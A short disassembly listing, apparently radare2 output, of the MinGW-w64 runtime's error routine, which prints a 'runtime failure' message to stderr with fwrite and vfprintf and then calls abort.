mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002720
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]